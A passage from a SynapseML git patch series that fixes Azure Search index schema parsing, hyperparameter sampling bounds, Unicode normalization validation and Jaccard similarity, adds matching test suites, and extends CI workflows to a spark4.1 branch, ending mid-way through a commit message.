b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala index b38e9cf4d4b..a0267a28a3b 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala @@ -13,17 +13,24 @@ case class ASResponses(value: Seq[ASResponse]) case class ASResponse(key: String, status: Boolean, errorMessage: Option[String], statusCode: Int) +// These six fields are pure pass-through: the writer round-trips them to the service and never +// inspects their contents. The Search REST API returns objects for all of them (a custom analyzer +// is {"@odata.type":"#Microsoft.Azure.Search.CustomAnalyzer",...}, corsOptions is a single object), +// so typing them as strings made any index using these features fail to deserialize. Keeping them +// as opaque JsValue also stops the library from breaking when the service adds a new analyzer kind. +// spray.json.JsValue is written out in full because the release branches this change is replayed +// onto import spray.json explicitly rather than by wildcard. case class IndexInfo( name: Option[String], fields: Seq[IndexField], - suggesters: Option[Seq[String]], + suggesters: Option[Seq[spray.json.JsValue]], scoringProfiles: Option[Seq[ScoringProfile]], - analyzers: Option[Seq[String]], - charFilters: Option[Seq[String]], - tokenizers: Option[Seq[String]], - tokenFilters: Option[Seq[String]], + analyzers: Option[Seq[spray.json.JsValue]], + charFilters: Option[Seq[spray.json.JsValue]], + tokenizers: Option[Seq[spray.json.JsValue]], + tokenFilters: Option[Seq[spray.json.JsValue]], defaultScoringProfile: Option[String], - corsOptions: Option[Seq[String]], + corsOptions: Option[spray.json.JsValue], vectorSearch: Option[VectorSearch] ) diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaLiveRoundTripSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaLiveRoundTripSuite.scala new file mode 100644 index 00000000000..4961c86408b --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaLiveRoundTripSuite.scala @@ -0,0 +1,96 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.Secrets +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.io.http.RESTHelpers._ +import org.apache.http.client.methods.HttpDelete +import spray.json._ + +import java.util.UUID + +/** End-to-end companion to [[IndexSchemaParsingSuite]]. + * + * The offline suite proves the parser accepts the payload shapes reported in issue #2143, but it + * asserts against hand-written JSON. This suite creates a real index that exercises every schema + * feature the service returns as an object, reads it back through the same production code path + * the writer uses, and parses it. That closes the gap where a hand-written fixture could drift + * from what the Search service actually emits. + */ +class IndexSchemaLiveRoundTripSuite extends TestBase with IndexJsonGetter with IndexParser { + + private lazy val azureSearchKey: String = sys.env.getOrElse("AZURE_SEARCH_KEY", Secrets.AzureSearchKey) + private val testServiceName = "mmlspark-azure-search" + + private def indexDefinition(name: String): String = + s""" + |{ + | "name": "$name", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true, "searchable": true }, + | { "name": "text", "type": "Edm.String", "searchable": true, "analyzer": "sml_custom_analyzer" }, + | { "name": "title", "type": "Edm.String", "searchable": true } + | ], + | "corsOptions": { "allowedOrigins": ["*"], "maxAgeInSeconds": 300 }, + | "suggesters": [ + | { "name": "sml_suggester", "searchMode": "analyzingInfixMatching", "sourceFields": ["title"] } + | ], + | "analyzers": [ + | { + | "@odata.type": "#Microsoft.Azure.Search.CustomAnalyzer", + | "name": "sml_custom_analyzer", + | "tokenizer": "sml_tokenizer", + | "tokenFilters": ["sml_asciifolding"], + | "charFilters": ["sml_mapping"] + | } + | ], + | "tokenizers": [ + | { "@odata.type": "#Microsoft.Azure.Search.KeywordTokenizerV2", "name": "sml_tokenizer" } + | ], + | "tokenFilters": [ + | { "@odata.type": "#Microsoft.Azure.Search.AsciiFoldingTokenFilter", + | "name": "sml_asciifolding", "preserveOriginal": true } + | ], + | "charFilters": [ + | { "@odata.type": "#Microsoft.Azure.Search.MappingCharFilter", + | "name": "sml_mapping", "mappings": ["a=>b"] } + | ] + |} + |""".stripMargin + + private def deleteIndex(name: String): Unit = { + val apiVersion = AzureSearchAPIConstants.DefaultAPIVersion + val deleteRequest = new HttpDelete( + s"https://$testServiceName.search.windows.net/indexes/$name?api-version=$apiVersion") + deleteRequest.setHeader("api-key", azureSearchKey) + safeSend(deleteRequest) + () + } + + test("An index using object-valued schema features round-trips through the live service") { + val indexName = s"test-schema-${UUID.randomUUID().toString.take(8)}" + SearchIndex.createIfNoneExists(azureSearchKey, testServiceName, indexDefinition(indexName)) + try { + // Read back through the same path AzureSearchWriter uses, so this fails if the service + // emits a shape the production parser rejects. + val liveJson = getIndexJsonFromExistingIndex(azureSearchKey, testServiceName, indexName) + val info = parseIndexJson(liveJson) + + assert(info.name.contains(indexName)) + // The service returns these as objects; typing them as strings is what broke issue #2143. + assert(info.analyzers.exists(_.length == 1)) + assert(info.analyzers.get.head.asJsObject.fields("name") == JsString("sml_custom_analyzer")) + assert(info.tokenizers.exists(_.length == 1)) + assert(info.tokenFilters.exists(_.length == 1)) + assert(info.charFilters.exists(_.length == 1)) + assert(info.suggesters.exists(_.length == 1)) + // corsOptions is a single object rather than an array. + assert(info.corsOptions.exists(_.asJsObject.fields("maxAgeInSeconds") == JsNumber(300))) + } finally { + deleteIndex(indexName) + } + } + +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaParsingSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaParsingSuite.scala new file mode 100644 index 00000000000..6eb430fe7ce --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaParsingSuite.scala @@ -0,0 +1,102 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.services.search.AzureSearchProtocol._ +import spray.json._ + +/** Regression coverage for index definitions that use the schema features the Search service + * returns as objects rather than strings. See issue #2143: any index carrying a custom analyzer + * failed to deserialize with "Expected String as JsString" before the writer ever sent a document. + */ +class IndexSchemaParsingSuite extends TestBase with IndexParser { + + private val keyField = + """{"name": "Id", "type": "Edm.String", "key": true, "searchable": false}""" + + private def indexJson(extraMembers: String): String = + s"""{"name": "test-index", "fields": [$keyField]${if (extraMembers.isEmpty) "" else ", " + extraMembers}}""" + + // Verbatim from the issue #2143 report. + private val customAnalyzer = + """"analyzers": [{ + | "@odata.type": "#Microsoft.Azure.Search.CustomAnalyzer", + | "name": "keyword_analyzer", + | "tokenizer": "keyword_v2", + | "charFilters": [], + | "tokenFilters": ["lowercase"] + |}]""".stripMargin + + test("parseIndexJson accepts an index with a custom analyzer") { + val info = parseIndexJson(indexJson(customAnalyzer)) + assert(info.name.contains("test-index")) + assert(info.analyzers.exists(_.length == 1)) + val analyzer = info.analyzers.get.head.asJsObject + assert(analyzer.fields("name") == JsString("keyword_analyzer")) + assert(analyzer.fields("@odata.type") == JsString("#Microsoft.Azure.Search.CustomAnalyzer")) + assert(analyzer.fields("tokenFilters") == JsArray(JsString("lowercase"))) + } + + test("a custom analyzer survives a parse and re-serialize round trip") { + val original = indexJson(customAnalyzer) + val roundTripped = parseIndexJson(original).toJson.asJsObject + // The service rejects an analyzer it cannot identify, so every member has to come back intact. + assert(roundTripped.fields("analyzers") == original.parseJson.asJsObject.fields("analyzers")) + } + + test("parseIndexJson accepts object-valued charFilters, tokenizers and tokenFilters") { + val members = + """"charFilters": [{"@odata.type": "#Microsoft.Azure.Search.MappingCharFilter", + | "name": "cf", "mappings": ["a=>b"]}], + |"tokenizers": [{"@odata.type": "#Microsoft.Azure.Search.KeywordTokenizerV2", "name": "kw"}], + |"tokenFilters": [{"@odata.type": "#Microsoft.Azure.Search.AsciiFoldingTokenFilter", + | "name": "af", "preserveOriginal": true}]""".stripMargin + val info = parseIndexJson(indexJson(members)) + assert(info.charFilters.exists(_.length == 1)) + assert(info.tokenizers.exists(_.length == 1)) + assert(info.tokenFilters.exists(_.length == 1)) + assert(info.tokenFilters.get.head.asJsObject.fields("preserveOriginal") == JsTrue) + } + + test("parseIndexJson accepts object-valued suggesters") { + val members = + """"suggesters": [{"name": "sg", "searchMode": "analyzingInfixMatching", "sourceFields": ["Id"]}]""" + val info = parseIndexJson(indexJson(members)) + assert(info.suggesters.exists(_.length == 1)) + assert(info.suggesters.get.head.asJsObject.fields("name") == JsString("sg")) + } + + test("parseIndexJson accepts corsOptions, which the service returns as an object not an array") { + val members = """"corsOptions": {"allowedOrigins": ["*"], "maxAgeInSeconds": 300}""" + val info = parseIndexJson(indexJson(members)) + assert(info.corsOptions.exists(_.asJsObject.fields("maxAgeInSeconds") == JsNumber(300))) + } + + test("an index using every object-valued feature at once still parses") { + val members = Seq( + customAnalyzer, + """"charFilters": [{"@odata.type": "#Microsoft.Azure.Search.MappingCharFilter", + | "name": "cf", "mappings": ["a=>b"]}]""".stripMargin, + """"tokenizers": [{"@odata.type": "#Microsoft.Azure.Search.KeywordTokenizerV2", "name": "kw"}]""", + """"tokenFilters": [{"@odata.type": "#Microsoft.Azure.Search.AsciiFoldingTokenFilter", "name": "af"}]""", + """"suggesters": [{"name": "sg", "searchMode": "analyzingInfixMatching", "sourceFields": ["Id"]}]""", + """"corsOptions": {"allowedOrigins": ["*"]}""" + ).mkString(", ") + val info = parseIndexJson(indexJson(members)) + assert(info.fields.length == 1) + assert(info.analyzers.isDefined && info.charFilters.isDefined && info.tokenizers.isDefined) + assert(info.tokenFilters.isDefined && info.suggesters.isDefined && info.corsOptions.isDefined) + } + + test("omitting the optional members leaves them empty rather than failing") { + val info = parseIndexJson(indexJson("")) + assert(info.analyzers.isEmpty) + assert(info.charFilters.isEmpty) + assert(info.tokenizers.isEmpty) + assert(info.tokenFilters.isEmpty) + assert(info.suggesters.isEmpty) + assert(info.corsOptions.isEmpty) + } +} diff --git a/pipeline.yaml b/pipeline.yaml index fd30e8435b3..c709006ef6c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -844,6 +844,8 @@ jobs: com.microsoft.azure.synapse.ml.services.search.AddDocumentsHeaderPersistenceSuite com.microsoft.azure.synapse.ml.services.search.AzureSearchAuthSuite com.microsoft.azure.synapse.ml.services.search.AzureSearchGenericParamPersistenceSuite + com.microsoft.azure.synapse.ml.services.search.IndexSchemaLiveRoundTripSuite + com.microsoft.azure.synapse.ml.services.search.IndexSchemaParsingSuite com.microsoft.azure.synapse.ml.services.speech.SpeechToTextSDKSecuritySuite steps: - template: templates/sbt_cache.yml From ffe123a2fda00c0b88e6222f6bd6e3e917ff099c Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 12 Aug 2026 15:08:41 -0700 Subject: [PATCH 50/93] fix: correct Long hyperparameter sampling, Float seed forwarding, form validation, and Jaccard similarity (#2625) --- .../core/utils/utils/ModelEqualitySuite.scala | 27 +++++ .../synapse/ml/automl/HyperparamBuilder.scala | 37 ++++++- .../synapse/ml/core/utils/ModelEquality.scala | 9 +- .../synapse/ml/stages/UnicodeNormalize.scala | 5 +- .../ml/automl/HyperparamRangeSuite.scala | 99 +++++++++++++++++++ .../ml/stages/UnicodeNormalizeSuite.scala | 17 ++++ 6 files changed, 187 insertions(+), 7 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/HyperparamRangeSuite.scala diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/utils/ModelEqualitySuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/utils/ModelEqualitySuite.scala index b2bc5ed750f..4b021ed2707 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/utils/ModelEqualitySuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/utils/ModelEqualitySuite.scala @@ -12,6 +12,33 @@ import com.microsoft.azure.synapse.ml.stages.DropColumns class ModelEqualitySuite extends TestBase { spark + test("jaccardSimilarity grades partial overlap") { + // Sets of whole strings would collapse this to a 1.0/0.0 equality check. + assert(ModelEquality.jaccardSimilarity("abcd", "abcd") === 1.0) + assert(ModelEquality.jaccardSimilarity("abcd", "wxyz") === 0.0) + val partial = ModelEquality.jaccardSimilarity("the quick brown fox", "the quick brown cat") + assert(partial > 0.0 && partial < 1.0) + assert(partial > ModelEquality.jaccardSimilarity("the quick brown fox", "entirely unlike")) + } + + test("jaccardSimilarity is case insensitive and symmetric") { + assert(ModelEquality.jaccardSimilarity("Hello World", "hello world") === 1.0) + assert(ModelEquality.jaccardSimilarity("kitten", "sitting") + === ModelEquality.jaccardSimilarity("sitting", "kitten")) + assert(ModelEquality.jaccardSimilarity("", "") === 1.0) + } + + test("jaccardSimilarity handles strings shorter than one bigram") { + // sliding(2) keeps the short final window, so a 1-char string yields Set(char) + // rather than the empty set. Distinct 1-char strings must therefore score 0.0, + // not fall into the both-empty shortcut. + assert(ModelEquality.jaccardSimilarity("a", "b") === 0.0) + assert(ModelEquality.jaccardSimilarity("a", "a") === 1.0) + assert(ModelEquality.jaccardSimilarity("", "a") === 0.0) + assert(ModelEquality.jaccardSimilarity("a", "") === 0.0) + assert(ModelEquality.jaccardSimilarity("", "") === 1.0) + } + test("Complex param equality") { val m1 = new TextSentiment().setLocation("eastus") val m2 = new TextSentiment().setLocation("eastus") diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/HyperparamBuilder.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/HyperparamBuilder.scala index 475466bf658..31e9f20b13d 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/HyperparamBuilder.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/HyperparamBuilder.scala @@ -5,6 +5,7 @@ package com.microsoft.azure.synapse.ml.automl import org.apache.spark.ml.param._ +import scala.annotation.tailrec import scala.collection.JavaConverters._ import scala.collection.mutable import scala.util.Random @@ -29,8 +30,40 @@ class LongRangeHyperParam(min: Long, max: Long, seed: Long = 0) extends RangeHyperParam[Long](min, max, seed) { def getNext(): Long = { + require(max >= min, s"LongRangeHyperParam requires max >= min, got min=$min, max=$max") val range = max - min - (random.nextLong() * range) + min + // nextLong() spans the full 64-bit range, so multiplying it by the range overflows and + // escapes [min, max) entirely. Reduce into the range first, as nextInt(range) does. + if (range == 0) { + min + } else if (range < 0) { + // The span is wider than Long.MaxValue so it cannot be represented as a Long. Draw from + // the whole 64-bit range instead; more than half of it lands in bounds, so this is cheap. + @tailrec def drawInBounds(): Long = { + val v = random.nextLong() + if (v >= min && v < max) v else drawInBounds() + } + drawInBounds() + } else { + boundedNextLong(range) + min + } + } + + /** Uniform draw from [0, bound), rejecting the partial final block so the result carries no + * modulo bias. Mirrors what java.util.Random.nextInt(bound) already does for Int. + */ + private def boundedNextLong(bound: Long): Long = { + val m = bound - 1 + if ((bound & m) == 0L) { + random.nextLong() & m // bound is a power of two, so the low bits are already uniform + } else { + @tailrec def draw(): Long = { + val u = random.nextLong() >>> 1 + val r = u % bound + if (u + m - r < 0L) draw() else r + } + draw() + } } } @@ -38,7 +71,7 @@ class LongRangeHyperParam(min: Long, max: Long, seed: Long = 0) class FloatRangeHyperParam(min: Float, max: Float, seed: Long = 0) extends RangeHyperParam[Float](min, max, seed) { - val doubleRange = new DoubleRangeHyperParam(min.toDouble, max.toDouble) + val doubleRange = new DoubleRangeHyperParam(min.toDouble, max.toDouble, seed) def getNext(): Float = { doubleRange.getNext().toFloat } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ModelEquality.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ModelEquality.scala index 797e82d122d..66ad00917ec 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ModelEquality.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ModelEquality.scala @@ -14,10 +14,13 @@ trait ParamEquality[T] extends Param[T] { object ModelEquality { + /** Similarity of two strings as the Jaccard index over their character bigrams. */ def jaccardSimilarity(s1: String, s2: String): Double = { - val a = Set(s1) - val b = Set(s2) - a.intersect(b).size.toDouble / (a | b).size.toDouble + // Sets of the whole strings would only ever yield 1.0 or 0.0, making this a strict + // equality check rather than a similarity measure. + val a = s1.toLowerCase.sliding(2).toSet + val b = s2.toLowerCase.sliding(2).toSet + if (a.isEmpty && b.isEmpty) 1.0 else a.intersect(b).size.toDouble / (a | b).size.toDouble } def assertEqual(m1: Params, m2: Params): Unit = { diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalize.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalize.scala index 5ef14b37642..6ef6df50c4d 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalize.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalize.scala @@ -32,8 +32,9 @@ class UnicodeNormalize(val uid: String) extends Transformer /** @group setParam */ def setForm(value: String): this.type = { - // check input value - Normalizer.Form.valueOf(getForm) + // Validate the incoming value, not the value already set. Validating getForm let an invalid + // form be stored and only surface later, inside the UDF on the executors. + Normalizer.Form.valueOf(value) set("form", value) } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/HyperparamRangeSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/HyperparamRangeSuite.scala new file mode 100644 index 00000000000..3e150dfaf74 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/HyperparamRangeSuite.scala @@ -0,0 +1,99 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.automl + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +// scalastyle:off magic.number +/** Covers the bounds and seeding contract shared by every RangeHyperParam. */ +class HyperparamRangeSuite extends TestBase { + + private val draws = 500 + + test("LongRangeHyperParam stays within its range") { + val hp = new LongRangeHyperParam(0L, 100L, seed = 42) + val values = (1 to draws).map(_ => hp.getNext()) + assert(values.forall(v => v >= 0L && v < 100L), s"out of range: ${values.filter(v => v < 0L || v >= 100L)}") + assert(values.toSet.size > 1) + } + + test("LongRangeHyperParam stays within a range too large to fit in an Int") { + val min = -4000000000L + val max = 4000000000L + val hp = new LongRangeHyperParam(min, max, seed = 7) + val values = (1 to draws).map(_ => hp.getNext()) + assert(values.forall(v => v >= min && v < max)) + assert(values.exists(_ < 0L) && values.exists(_ > 0L)) + } + + test("LongRangeHyperParam rejects an inverted range instead of silently returning min") { + val hp = new LongRangeHyperParam(10L, 5L, seed = 1) + assertThrows[IllegalArgumentException](hp.getNext()) + } + + test("LongRangeHyperParam stays in bounds when the span overflows Long") { + // max - min wraps negative here, so the ordinary reduction path cannot be used. + val hp = new LongRangeHyperParam(Long.MinValue + 1, Long.MaxValue, seed = 7) + val draws = (1 to 200).map(_ => hp.getNext()) + assert(draws.forall(v => v >= Long.MinValue + 1 && v < Long.MaxValue)) + assert(draws.distinct.length > 1) + } + + test("LongRangeHyperParam with an empty range returns min") { + val hp = new LongRangeHyperParam(5L, 5L, seed = 42) + assert((1 to 10).forall(_ => hp.getNext() === 5L)) + } + + test("LongRangeHyperParam covers a power-of-two range without bias") { + // Power-of-two bounds take the mask branch; every bucket must still be reachable. + val hp = new LongRangeHyperParam(0L, 8L, seed = 3) + val counts = (1 to 4000).map(_ => hp.getNext()).groupBy(identity).map { case (k, v) => k -> v.size } + assert(counts.keySet === (0L until 8L).toSet) + assert(counts.values.forall(c => c > 300 && c < 700), s"uneven distribution: $counts") + } + + test("LongRangeHyperParam covers a non-power-of-two range without bias") { + // Non-power-of-two bounds take the rejection branch, which must terminate and stay uniform. + val hp = new LongRangeHyperParam(0L, 7L, seed = 3) + val counts = (1 to 4000).map(_ => hp.getNext()).groupBy(identity).map { case (k, v) => k -> v.size } + assert(counts.keySet === (0L until 7L).toSet) + assert(counts.values.forall(c => c > 350 && c < 800), s"uneven distribution: $counts") + } + + test("IntRangeHyperParam stays within its range") { + val hp = new IntRangeHyperParam(5, 15, seed = 42) + val values = (1 to draws).map(_ => hp.getNext()) + assert(values.forall(v => v >= 5 && v < 15)) + } + + test("DoubleRangeHyperParam stays within its range") { + val hp = new DoubleRangeHyperParam(0.0, 1.0, seed = 42) + assert((1 to draws).map(_ => hp.getNext()).forall(v => v >= 0.0 && v < 1.0)) + } + + test("FloatRangeHyperParam stays within its range") { + val hp = new FloatRangeHyperParam(0.0f, 1.0f, seed = 42) + assert((1 to draws).map(_ => hp.getNext()).forall(v => v >= 0.0f && v < 1.0f)) + } + + test("equal seeds reproduce equal sequences and differing seeds diverge") { + def draw(hp: Dist[_]): Seq[Any] = (1 to 20).map(_ => hp.getNext) + + assert(draw(new IntRangeHyperParam(0, 1000, 11)) === draw(new IntRangeHyperParam(0, 1000, 11))) + assert(draw(new LongRangeHyperParam(0L, 1000L, 11)) === draw(new LongRangeHyperParam(0L, 1000L, 11))) + assert(draw(new DoubleRangeHyperParam(0.0, 1.0, 11)) === draw(new DoubleRangeHyperParam(0.0, 1.0, 11))) + // FloatRangeHyperParam delegates to an inner DoubleRangeHyperParam; it must forward its seed. + assert(draw(new FloatRangeHyperParam(0.0f, 1.0f, 11)) === draw(new FloatRangeHyperParam(0.0f, 1.0f, 11))) + assert(draw(new FloatRangeHyperParam(0.0f, 1.0f, 11)) !== draw(new FloatRangeHyperParam(0.0f, 1.0f, 12))) + } + + test("HyperParamUtils.getRangeHyperParam honors the seed for every numeric type") { + Seq[(Any, Any)]((0, 1000), (0L, 1000L), (0.0, 1.0), (0.0f, 1.0f)).foreach { case (min, max) => + val a = HyperParamUtils.getRangeHyperParam(min, max, 99) + val b = HyperParamUtils.getRangeHyperParam(min, max, 99) + assert((1 to 20).map(_ => a.getNext) === (1 to 20).map(_ => b.getNext), s"seed ignored for $min/$max") + } + } +} +// scalastyle:on magic.number diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalizeSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalizeSuite.scala index e7d098ca6fb..664140c5c6b 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalizeSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/UnicodeNormalizeSuite.scala @@ -5,6 +5,7 @@ package com.microsoft.azure.synapse.ml.stages import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} +import org.apache.spark.ml.param.Param import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql.DataFrame @@ -49,9 +50,25 @@ class UnicodeNormalizeSuite extends TestBase with TransformerFuzzing[UnicodeNorm test("Check for NFKD forms") { testForm("NFKD", expectedResultDecomposed) } + test("setForm rejects an invalid form at set time") { + // An unvalidated form used to be accepted here and only fail later inside the UDF, + // on the executors, where the cause is far harder to attribute. + assertThrows[IllegalArgumentException](new UnicodeNormalize().setForm("NOT_A_FORM")) + } + + test("setForm accepts every supported form") { + java.text.Normalizer.Form.values().foreach { f => + assert(new UnicodeNormalize().setForm(f.name).getForm === f.name) + } + } + def testObjects(): Seq[TestObject[UnicodeNormalize]] = List(new TestObject( new UnicodeNormalize().setInputCol("words").setOutputCol("out"), makeBasicDF())) + // The generic fuzzer probes String setters with "foo"; form only accepts Normalizer.Form names. + override def getterSetterParamExamples(pipelineStage: UnicodeNormalize): Map[Param[_], Any] = + Map[Param[_], Any]((pipelineStage.form, "NFC")) + override def reader: MLReadable[_] = UnicodeNormalize } From 7be27676bf9f4199ce6bdf5cf6cf5abc51f5eb77 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Wed, 12 Aug 2026 18:51:02 -0700 Subject: [PATCH 51/93] ci: extend CI coverage to the spark4.1 release branch (#2532) Co-authored-by: Rana Singh --- .github/workflows/codeql.yml | 4 ++-- .github/workflows/dependency-review.yml | 2 +- .github/workflows/pr-validation.yml | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 8bb8eb16f7c..fe5617b12fb 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -13,11 +13,11 @@ name: "CodeQL" on: push: - branches: [ "master" ] + branches: [ "master", "spark4.1" ] paths-ignore: [ "**.md" ] pull_request: # The branches below must be a subset of the branches above - branches: [ "master" ] + branches: [ "master", "spark4.1" ] paths-ignore: [ "**.md" ] schedule: - cron: '17 7 * * 3' diff --git a/.github/workflows/dependency-review.yml b/.github/workflows/dependency-review.yml index 889c3046535..7261c36bc68 100644 --- a/.github/workflows/dependency-review.yml +++ b/.github/workflows/dependency-review.yml @@ -2,7 +2,7 @@ name: Dependency Review on: pull_request: - branches: [ "master" ] + branches: [ "master", "spark4.1" ] permissions: contents: read diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index e4106ddded5..1a88968ee6d 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -2,7 +2,7 @@ name: PR Validation on: pull_request: - branches: [ "master" ] + branches: [ "master", "spark4.1" ] paths-ignore: [ "**.md", "docs/**", "website/**" ] jobs: From 6938c472175ed1592ec24e7d8c65d9174f17c4e5 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 13 Aug 2026 04:27:23 -0700 Subject: [PATCH 52/93] test: add unit coverage for core and cognitive, wire up coverage reporting, and fix error-logging telemetry bugs (#2507) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * chore: raise unit-test coverage across core and cognitive modules Squashed 22 commits for rebase onto current master. * fix: merge duplicate codecov comment block so after_n_builds is honored YAML duplicate keys silently override: the second 'comment:' block dropped after_n_builds: 40, so codecov commented before all coverage uploads landed. Verified with yaml.safe_load: before = None, after = 40. * fix: drop tests for the removed anomaly-detection service and stale FeatureNames constant master removed com.microsoft.azure.synapse.ml.services.anomaly entirely, so the three anomaly suites this branch added no longer compile. VerifyFeatureNames also referenced AiServices.Anomaly, which no longer exists. * test: read the image path field as Option[String] instead of String Row(Row(path, ...)) stores an Option[String], so getAs[String] is a false declaration. It happens not to throw in the assertion's expression position (no checkcast is emitted there), but throws ClassCastException as soon as the value is bound. Addresses review feedback on VerifyImageUtils. * fix: address review — CI matrix gaps, leaked global state, coverage publish path, vacuous asserts Addresses the four blocking items in BrendanWalsh's round-2 review. 1. Register 7 orphaned suites in the UnitTests matrix (pipeline.yaml). PipelineTestCoverageSuite fails on any concrete suite no matrix leg claims. Reproduced locally: it listed exactly those 7, so the `core` leg would have gone red and none of the 7 would ever have run. Added them to `misc`. 2. Reset GlobalParams between tests (VerifyGlobalParams). resetGlobalState() ran only inside test 1, which then set TestStringKey and never cleared it, so "getGlobalParam returns None for unset key" failed deterministically. Moved the reset into beforeEach and added afterEach so the suite cannot perturb others sharing the forked JVM. 3. Point the ADO coverage publisher at the directory scoverage actually writes. Verified empirically by generating a report: cobertura.xml lands in target/scala-2.12/coverage-report/, while scoverage-report/ holds only scoverage.xml. The old '**/scoverage-report/cobertura.xml' glob could never match, and failIfCoverageEmpty: false made it fail silently in all 4 jobs. Fixed the glob and set failIfCoverageEmpty: true so a future path regression is visible rather than silent. 4. Replace vacuous assertions with contract assertions. assert(x.isInstanceOf[T]) on a statically-T expression can never fail, so those lines reported coverage while providing no regression protection. - VerifyHyperparamBuilder: assert LongRangeHyperParam samples land in [min, max) over 100 draws, plus a span wider than Long.MaxValue and a reproducibility check. The overflow this would have exposed was already fixed by #2625, so the real assertion now passes and guards that fix. - VerifyDefaultHyperparams: match each default Dist to its concrete type and assert sampled values stay in range, failing on unknown types. - VerifyPlatformDetails: assert runningOnSynapse/runningOnSynapseInternal agree with CurrentPlatform and are mutually exclusive. - VerifyUDFParam, VerifyByteArrayParam, VerifyDataTypeParam, VerifyEstimatorArrayParam, VerifyEvaluatorParam, VerifyPipelineStageParams: added the rejecting branch for each custom validator, which previously only exercised values the validator accepted and asserted nothing. - VerifyPackageUtils: pin the concrete repository URL instead of comparing the value to itself. - VerifyOsUtils: drop the consistency check over an immutable val. Validation: scalastyle and Test/scalastyle report 0 errors and 0 warnings; all 14 touched suites pass (PipelineTestCoverageSuite now green). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test(automl): cover EvaluationUtils.getModelType branches VerifyEvaluationUtils exercised only getMetricWithOperator, leaving getModelType - a 14-branch dispatch - entirely uncovered by a PR whose purpose is raising coverage. Adds six cases: Classifier, LinearRegression (the RegressionUtils.isRegressor path), DecisionTreeRegressor, GBTRegressor, RandomForestRegressor, and the unsupported-stage path asserting ModelTypeUnsupportedErr. This also makes this suite a strict superset of the same-named file added by PR #2498, so the add/add conflict between the two PRs resolves by taking this version with no loss of coverage. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: correct coverage exclusions and null-message logging crash ## Summary Two defects found while auditing this PR's build.sbt changes. 1. `coverageExcludedPackages` excluded `codegen.*` and `fabric.*` wholesale on the stated grounds that they are "legitimately untestable by unit tests". That is empirically false. `codegen` has 8 main sources and 13 existing test cases (PyCodegenSuite, VerifyRCodegen, WrappableTests), and PR #2498 adds suites for exactly CodegenConfig, DefaultParamInfo and GenerationUtils -- which this exclusion 